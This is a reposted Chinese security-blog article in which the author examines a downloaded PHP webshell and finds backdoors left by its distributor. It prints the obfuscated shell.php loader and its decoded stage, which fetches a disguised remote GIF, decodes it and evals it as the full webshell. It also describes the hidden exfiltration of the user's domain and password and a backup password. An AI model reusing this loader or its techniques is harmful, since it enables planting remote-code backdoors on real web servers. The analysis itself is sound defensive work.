PHP WebShell代碼后門的一次檢查

  • 時間:2018-09-07 22:02 作者:信息安全搬運工 來源:信息安全搬運工 閱讀:177
  • 掃一掃,手機訪問
摘要:前言小明是一名Web小白,今天他忽然心血來潮,對自己常使用的大馬代碼查看一下,竟然發現還是有少量后門沒有清理干凈,不由得心里為之一顫抖,這個江湖果然是險惡重生,黑吃黑的事情經常發生。想起自己辛辛苦苦得到的站點都成了別人的嫁衣,遂決定好好的分析馬兒的肚子內部結構,特洛伊的騙局決不能讓它再次坑害新手。正

前言

小明是一名Web小白,今天他忽然心血來潮,對自己常使用的大馬代碼查看一下,竟然發現還是有少量后門沒有清理干凈,不由得心里為之一顫抖,這個江湖果然是險惡重生,黑吃黑的事情經常發生。想起自己辛辛苦苦得到的站點都成了別人的嫁衣,遂決定好好的分析馬兒的肚子內部結構,特洛伊的騙局決不能讓它再次坑害新手。

正文:

回想起來馬兒如同是哪個網站上面下載的,小明快速的打開瀏覽器,搜索引擎輸入“Web大馬”,出現了繽紛多彩的信息。

PHP WebShell代碼后門的一次檢查

如同就是這個網站,進去之后看看詳情,感覺好高大上黑色的背景配合綠色,灰白色的界面,這不正是小白們心里的標配馬嗎?好的,就是這匹寶馬了。

PHP WebShell代碼后門的一次檢查

PHP WebShell代碼后門的一次檢查

不知道這寶馬有木有詳情的那么好,竟然能過一切waf,諸多安全軟件都免殺。有如此良駒,在滲透的時候必然是過五關斬六將。小明的手顫抖的移動鼠標究竟部,看到下載地址,狠狠的點擊一下,只聽得叮的一聲,馬兒就掉到了自己的目錄里面,

迫不及待的解壓之后,看到一個shell.php,大小只有1.83KB,這體重和小馬有的一拼了。

PHP WebShell代碼后門的一次檢查

<?php
$password='xxxxx';//登錄密碼
//本次升級:體積優化、壓縮優化、命令優化、反彈優化、文件管理優化、掛馬清馬優化等大量功能細節優化。
//功能特色:PHP高版本低版本都能執行,文件短小精悍,方便上傳,功能強大,提權無痕跡,無視waf,過安全狗、云鎖、360、阿里云、護衛神等主流waf。同時支持菜刀、xise連接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'';*/

咋一看這不是base64嗎,如此小的代碼竟然實現了諸多的功能。著實讓人佩服作者,打開phpstorm直接base64解密得到了下面這段內容

error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
if (function_exists('fsockopen')) {
$link = parse_url($url);
$query = $link['path'];
$host = strtolower($link['host']);
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if ($fp) {
$out = "GET /{$query} HTTP/1.0\r\n";
$out .= "Host: {$host}\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($inheader == 0) {
$contents .= $line;
}
if ($inheader &amp;&amp; ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
}
fclose($fp);
$c = $contents;
}
}
if (!strpos($c, $urlNew) &amp;&amp; function_exists('curl_init') &amp;&amp; function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if (!strpos($c, $urlNew) &amp;&amp; ini_get('allow_url_fopen')) {
$temps = @file($url);
if (!empty($temps))
$c = @implode('', $temps);
if (!strpos($c, "delDirAndFile"))
$c = @file_get_contents($url);
}
if (strpos($c, $urlNew) !== false) {
$c = str_replace($urlNew, "", $c);
$_SESSION["phpapi"] = gzinflate(base64_decode($c));
}
}
if (isset($_SESSION["phpapi"])) {
eval($_SESSION["phpapi"]);
}

原來作者是通過遠程下載圖片的方式得到大馬的內容,難怪可以逃過免殺啊,根本就是普通的php代碼,這樣以來作者即可以明正言順的得到我們的url了,真的是躺著也能樂呵呵的數馬兒,今年又是一個豐收年啊。

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); 
$url base64解開后的到http://xxx.xxx/404.gif

在得到圖片的內容后使用base64解開而后zip解壓我們得到了真的馬兒,打開瀏覽器后一看果然和網站上詳情的是一個模樣的。輸入密碼登陸后,看到這樣的馬兒使用起來才叫爽啊,

PHP WebShell代碼后門的一次檢查

PHP WebShell代碼后門的一次檢查

為了看看大馬兒的內部還有什么手段,祭出Firefox,按下f12,輸入密碼后查看網絡連接,發現視乎沒有什么其余的外部活動,js也是非常的安靜。新想這馬兒應該是安全的。再次查看了httpnetworksniff和TcpLogView,沒有外部的連接活動。但還是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一個函數非常可疑

PHP WebShell代碼后門的一次檢查

PHP WebShell代碼后門的一次檢查

其中htmlogin()函數內部 if (strpos($domain, “0.0″) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函數都對局域網ip特征做了判斷,判斷了能否為局域網,不然就發送你的地址和密碼到他的網站,http://xx.xx/api.php?name=filename.php&amp;value=password&amp;id=ip

然而到此結束了嗎???通常WebShell會有一個備使用的密碼,搜尋了一下postpass 在1709行發現了備使用密碼if ($_POST['postpass'] == postpass||$_POST['postpass']==’http200ok’)

PHP WebShell代碼后門的一次檢查

總結:

還是那句話江湖險惡,不要輕易的使用別人寫好加密的東西,很多軟件最好翻墻或者者先去github上找找。webshell這種東西要自己動手查看內容確定安全后才能放心用。

*本文原創作者:facebook001,屬FreeBuf原創獎勵計劃,未經許可禁止轉載

  • 全部評論(0)
最新發布的資訊信息
【系統環境|】淘碼庫,據消息稱已被調查。淘碼庫源碼網,已經無法訪問!(2020-01-14 04:13)
【系統環境|服務器應用】Discuz隱藏后臺admin.php網址修改路徑(2019-12-16 16:48)
【系統環境|服務器應用】2020新網站如何讓百度快速收錄網站首頁最新方法,親測有用!免費(2019-12-16 16:46)
【系統環境|服務器應用】Discuz發布帖子時默認顯示第一個主題分類的修改方法(2019-12-09 00:13)
【系統環境|軟件環境】Android | App內存優化 之 內存泄漏 要點概述 以及 處理實戰(2019-12-04 14:27)
【系統環境|軟件環境】MySQL InnoDB 事務(2019-12-04 14:26)
【系統環境|軟件環境】vue-router(單頁面應用控制中心)常見用法(2019-12-04 14:26)
【系統環境|軟件環境】Linux中的Kill命令(2019-12-04 14:26)
【系統環境|軟件環境】Linux 入門時必學60個文件解決命令(2019-12-04 14:26)
【系統環境|軟件環境】更新版ThreeJS 3D粒子波浪動畫(2019-12-04 14:26)
手機二維碼手機訪問領取大禮包
返回頂部
双色球号码300期遗传走势图